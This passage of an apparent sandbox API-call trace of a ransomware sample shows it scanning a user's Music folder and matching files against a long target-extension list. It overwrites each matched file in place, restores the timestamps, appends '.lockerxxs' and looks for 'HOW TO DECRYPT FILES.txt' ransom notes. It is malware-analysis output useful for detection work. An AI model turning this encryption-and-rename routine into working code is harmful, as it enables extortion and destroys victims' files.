(in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a.lockerxxs" [0090.811] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rmmxxdr-jun1.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.812] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x173d1 [0090.812] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x75b0c040, dwHighDateTime=0x1d5e1ac), lpLastAccessTime=0x407536*(dwLowDateTime=0xfccd71c0, dwHighDateTime=0x1d5de75), lpLastWriteTime=0x40753e*(dwLowDateTime=0xfccd71c0, dwHighDateTime=0x1d5de75)) returned 1 [0090.812] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.812] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x173ab, lpOverlapped=0x0) returned 1 [0090.815] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a") returned="rMmxXDr-JuN1.m4a" [0090.815] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.815] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x173ab, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x173ab, lpOverlapped=0x0) returned 1 [0090.816] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.816] CloseHandle (hObject=0x88) returned 1 [0090.816] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rmmxxdr-jun1.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rmmxxdr-jun1.m4a.lockerxxs")) returned 1 [0090.817] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x566b05f0, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0x473be620, ftLastAccessTime.dwHighDateTime=0x1d5e6b3, ftLastWriteTime.dwLowDateTime=0x473be620, ftLastWriteTime.dwHighDateTime=0x1d5e6b3, nFileSizeHigh=0x0, nFileSizeLow=0x31ed, dwReserved0=0x36000335, dwReserved1=0x4e00c4, cFileName="TXmqeaa7XMqFc.wav", cAlternateFileName="TXMQEA~1.WAV")) returned 1 [0090.817] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.817] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TXmqeaa7XMqFc.wav") returned -1 [0090.817] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TXmqeaa7XMqFc.wav") returned -1 [0090.817] lstrcmpiA (lpString1="", lpString2="TXmqeaa7XMqFc.wav") returned -1 [0090.818] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rMmxXDr-JuN1.m4a") returned="rMmxXDr-JuN1.m4a" [0090.818] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" [0090.818] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="" [0090.818] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" [0090.818] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\how to decrypt files.txt")) returned 0x20 [0090.818] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="TXmqeaa7XMqFc.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav" [0090.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.ems") returned 0 [0090.818] lstrlenA (lpString="*.ems") returned 5 [0090.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.db") returned 0 [0090.818] lstrlenA (lpString="*.db") returned 4 [0090.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.dbf") returned 0 [0090.818] lstrlenA (lpString="*.dbf") returned 5 [0090.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.myox") returned 0 [0090.818] lstrlenA (lpString="*.myox") returned 6 [0090.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.myo") returned 0 [0090.818] lstrlenA (lpString="*.myo") returned 5 [0090.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qbw") returned 0 [0090.818] lstrlenA (lpString="*.qbw") returned 5 [0090.818] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qbb") returned 0 [0090.818] lstrlenA (lpString="*.qbb") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qbm") returned 0 [0090.819] lstrlenA (lpString="*.qbm") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qbo") returned 0 [0090.819] lstrlenA (lpString="*.qbo") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qbx") returned 0 [0090.819] lstrlenA (lpString="*.qbx") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qba") returned 0 [0090.819] lstrlenA (lpString="*.qba") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qby") returned 0 [0090.819] lstrlenA (lpString="*.qby") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qbj") returned 0 [0090.819] lstrlenA (lpString="*.qbj") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.ofx") returned 0 [0090.819] lstrlenA (lpString="*.ofx") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.qif") returned 0 [0090.819] lstrlenA (lpString="*.qif") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.mye") returned 0 [0090.819] lstrlenA (lpString="*.mye") returned 5 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.mbox") returned 0 [0090.819] lstrlenA (lpString="*.mbox") returned 6 [0090.819] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.eml") returned 0 [0090.819] lstrlenA (lpString="*.eml") returned 5 [0090.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.pst") returned 0 [0090.820] lstrlenA (lpString="*.pst") returned 5 [0090.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.ost") returned 0 [0090.820] lstrlenA (lpString="*.ost") returned 5 [0090.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.idx") returned 0 [0090.820] lstrlenA (lpString="*.idx") returned 5 [0090.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.dbx") returned 0 [0090.820] lstrlenA (lpString="*.dbx") returned 5 [0090.820] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.sql") returned 0 [0090.821] lstrlenA (lpString="*.sql") returned 5 [0090.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.mdb") returned 0 [0090.821] lstrlenA (lpString="*.mdb") returned 5 [0090.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.fdb") returned 0 [0090.821] lstrlenA (lpString="*.fdb") returned 5 [0090.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.wab") returned 0 [0090.821] lstrlenA (lpString="*.wab") returned 5 [0090.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.dat") returned 0 [0090.821] lstrlenA (lpString="*.dat") returned 5 [0090.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.txt") returned 0 [0090.821] lstrlenA (lpString="*.txt") returned 5 [0090.821] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.jpeg") returned 0 [0090.822] lstrlenA (lpString="*.jpeg") returned 6 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.jpg") returned 0 [0090.822] lstrlenA (lpString="*.jpg") returned 5 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.png") returned 0 [0090.822] lstrlenA (lpString="*.png") returned 5 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.php") returned 0 [0090.822] lstrlenA (lpString="*.php") returned 5 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.cs") returned 0 [0090.822] lstrlenA (lpString="*.cs") returned 4 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.cpp") returned 0 [0090.822] lstrlenA (lpString="*.cpp") returned 5 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.rar") returned 0 [0090.822] lstrlenA (lpString="*.rar") returned 5 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.zip") returned 0 [0090.822] lstrlenA (lpString="*.zip") returned 5 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.html") returned 0 [0090.822] lstrlenA (lpString="*.html") returned 6 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.htm") returned 0 [0090.822] lstrlenA (lpString="*.htm") returned 5 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.xlsx") returned 0 [0090.822] lstrlenA (lpString="*.xlsx") returned 6 [0090.822] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.xls") returned 0 [0090.823] lstrlenA (lpString="*.xls") returned 5 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.mp4") returned 0 [0090.823] lstrlenA (lpString="*.mp4") returned 5 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.ppt") returned 0 [0090.823] lstrlenA (lpString="*.ppt") returned 5 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.pptx") returned 0 [0090.823] lstrlenA (lpString="*.pptx") returned 6 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.doc") returned 0 [0090.823] lstrlenA (lpString="*.doc") returned 5 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.dot") returned 0 [0090.823] lstrlenA (lpString="*.dot") returned 5 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.docx") returned 0 [0090.823] lstrlenA (lpString="*.docx") returned 6 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.7z") returned 0 [0090.823] lstrlenA (lpString="*.7z") returned 4 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.tar") returned 0 [0090.823] lstrlenA (lpString="*.tar") returned 5 [0090.823] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.bz2") returned 0 [0090.823] lstrlenA (lpString="*.bz2") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.gz") returned 0 [0090.824] lstrlenA (lpString="*.gz") returned 4 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.mkv") returned 0 [0090.824] lstrlenA (lpString="*.mkv") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.eml") returned 0 [0090.824] lstrlenA (lpString="*.eml") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.msg") returned 0 [0090.824] lstrlenA (lpString="*.msg") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.edb") returned 0 [0090.824] lstrlenA (lpString="*.edb") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.accdb") returned 0 [0090.824] lstrlenA (lpString="*.accdb") returned 7 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.odb") returned 0 [0090.824] lstrlenA (lpString="*.odb") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.java") returned 0 [0090.824] lstrlenA (lpString="*.java") returned 6 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.asm") returned 0 [0090.824] lstrlenA (lpString="*.asm") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.pfx") returned 0 [0090.824] lstrlenA (lpString="*.pfx") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.pem") returned 0 [0090.824] lstrlenA (lpString="*.pem") returned 5 [0090.824] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.p12") returned 0 [0090.825] lstrlenA (lpString="*.p12") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.gpg") returned 0 [0090.825] lstrlenA (lpString="*.gpg") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.vsd") returned 0 [0090.825] lstrlenA (lpString="*.vsd") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.odg") returned 0 [0090.825] lstrlenA (lpString="*.odg") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.raw") returned 0 [0090.825] lstrlenA (lpString="*.raw") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.nef") returned 0 [0090.825] lstrlenA (lpString="*.nef") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.svg") returned 0 [0090.825] lstrlenA (lpString="*.svg") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.psd") returned 0 [0090.825] lstrlenA (lpString="*.psd") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.vmx") returned 0 [0090.825] lstrlenA (lpString="*.vmx") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.vmdk") returned 0 [0090.825] lstrlenA (lpString="*.vmdk") returned 6 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.vdi") returned 0 [0090.825] lstrlenA (lpString="*.vdi") returned 5 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.lay6") returned 0 [0090.825] lstrlenA (lpString="*.lay6") returned 6 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.mpeg") returned 0 [0090.825] lstrlenA (lpString="*.mpeg") returned 6 [0090.825] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.djvu") returned 0 [0090.826] lstrlenA (lpString="*.djvu") returned 6 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.tiff") returned 0 [0090.826] lstrlenA (lpString="*.tiff") returned 6 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.backup") returned 0 [0090.826] lstrlenA (lpString="*.backup") returned 8 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.pdf") returned 0 [0090.826] lstrlenA (lpString="*.pdf") returned 5 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.cert") returned 0 [0090.826] lstrlenA (lpString="*.cert") returned 6 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.docm") returned 0 [0090.826] lstrlenA (lpString="*.docm") returned 6 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.xlsm") returned 0 [0090.826] lstrlenA (lpString="*.xlsm") returned 6 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.dwg") returned 0 [0090.826] lstrlenA (lpString="*.dwg") returned 5 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.nd") returned 0 [0090.826] lstrlenA (lpString="*.nd") returned 4 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.tlg") returned 0 [0090.826] lstrlenA (lpString="*.tlg") returned 5 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.lgb") returned 0 [0090.826] lstrlenA (lpString="*.lgb") returned 5 [0090.826] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.mov") returned 0 [0090.826] lstrlenA (lpString="*.mov") returned 5 [0090.827] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.xdw") returned 0 [0090.827] lstrlenA (lpString="*.xdw") returned 5 [0090.827] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.ods") returned 0 [0090.827] lstrlenA (lpString="*.ods") returned 5 [0090.827] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", pszSpec="*.wav") returned 1 [0090.827] lstrlenA (lpString="*.wav") returned 5 [0090.827] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav" [0090.827] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav" [0090.827] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav." [0090.827] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav.lockerxxs" [0090.827] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\txmqeaa7xmqfc.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0090.828] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x31ed [0090.828] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x566b05f0, dwHighDateTime=0x1d5e216), lpLastAccessTime=0x407536*(dwLowDateTime=0x473be620, dwHighDateTime=0x1d5e6b3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x473be620, dwHighDateTime=0x1d5e6b3)) returned 1 [0090.828] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.840] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x31c7, lpOverlapped=0x0) returned 1 [0090.843] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\TXmqeaa7XMqFc.wav") returned="TXmqeaa7XMqFc.wav" [0090.843] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.843] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x31c7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x31c7, lpOverlapped=0x0) returned 1 [0090.844] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, 